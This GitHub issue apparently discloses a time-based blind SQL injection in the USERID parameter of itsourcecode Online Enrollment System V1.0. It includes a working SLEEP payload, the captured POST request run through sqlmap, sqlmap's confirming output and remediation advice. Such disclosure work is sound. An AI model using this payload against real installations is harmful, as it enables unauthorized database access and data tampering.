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New issue



# itsourcecode Online Enrollment System V1.0 "/sms/user/index.php?view=edit&id=10" SQL injection #2

Open



yihaofuweng opened 3 weeks ago



## itsourcecode Online Enrollment System V1.0 "/sms/user/index.php?view=edit&id=10" SQL injection

### NAME OF AFFECTED PRODUCT(S)

- Online Enrollment System

### Vendor Homepage

- <https://itsourcecode.com/free-projects/php-project/online-enrollment-system-thesis-source-code/>

### AFFECTED AND/OR FIXED VERSION(S)

- V1.0

### submitter

- 1

## Vulnerable File

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- /sms/user/index.php?view=edit&id=10

## VERSION(S)

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- V1.0

## Software Link

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- <https://itsourcecode.com/free-projects/php-project/online-enrollment-system-thesis-source-code/>

## PROBLEM TYPE

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### Vulnerability Type

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- SQL injection

### Root Cause

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- A SQL injection vulnerability was found in the '/sms/user/index.php?view=edit&id=10' file of the 'Online Enrollment System' project. The reason for this issue is that attackers inject malicious code from the parameter 'USERID' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

### Impact

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- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

## DESCRIPTION

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- During the security review of "Online Enrollment System", I discovered a critical SQL injection vulnerability in the "/sms/user/index.php?view=edit&id=10" file. This vulnerability stems from insufficient user input validation of the 'USERID' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

# No login or authorization is required to exploit this vulnerability

## Vulnerability details and POC

### Vulnerability Ionameion:

- 'USERID' parameter

### Payload:

```
---  
Parameter: USERID (POST)  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: USERID=10 AND (SELECT 7421 FROM (SELECT(SLEEP(5)))hRgt)&deptid=&U_NAME=12.&depti  
---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch  
  
POST /sms/user/controller.php?action=edit HTTP/1.1  
Host: 192.168.60.130  
Content-Length: 96  
Cache-Control: max-age=0  
Origin: http://192.168.60.130  
Content-Type: application/x-www-form-urlencoded  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr  
Referer: http://192.168.60.130/sms/user/index.php?view=edit&id=10  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: PHPSESSID=9e304gniduc5qik7l8kks3bs21  
Connection: keep-alive  
  
USERID=10&deptid=&U_NAME=12.&deptid=&U_USERNAME=12&deptid=&U_PASS=123&U_ROLE=Administrator&sc
```

```

09:26:18 [INFO] target URL content is static
09:26:18 [INFO] testing if POST parameter 'USERID' is dynamic
09:26:18 [WARNING] POST parameter 'USERID' does not appear to be dynamic
09:26:18 [WARNING] heuristic (basic) test shows that POST parameter 'USERID' might not be injectable
09:26:18 [INFO] testing for SQL injection on POST parameter 'USERID'
09:26:18 [INFO] testing 'boolean-based blind - WHERE or HAVING clause'
09:26:18 [INFO] testing 'boolean-based blind - Parameter replace (original value)'
09:26:18 [INFO] testing 'Generic inline queries'
09:26:18 [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
09:26:18 [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
09:26:18 [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
09:26:21 [INFO] POST parameter 'USERID' appears to be 'MySQL > 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
09:26:22 [INFO] testing 'Generic UNION query (NULL) - 1 to 30 columns'
09:26:22 [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
09:26:22 [INFO] checking if the injection point on POST parameter 'USERID' is a false positive
POST parameter 'USERID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
-----
Parameter: USERID (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: USERID=10 AND (SELECT 7421 FROM (SELECT(SLEEP(5)))Hngt)bdeptid=00_NAME=12.bdeptid=00_USERNAME=12bdeptid=00_PASS=12300_ROLE=Administratorsbsave=
09:26:28 [INFO] the back-end DBMS is MySQL
web application technology: Apache/2.4.18, PHP/5.6.40

```

## Suggested repair

### 1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepared statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

### 2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

### 3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

### 4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

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## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects

### Milestone

No milestone



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### Relationships

None yet

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### Development

 Code with agent mode 

No branches or pull requests

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### Participants

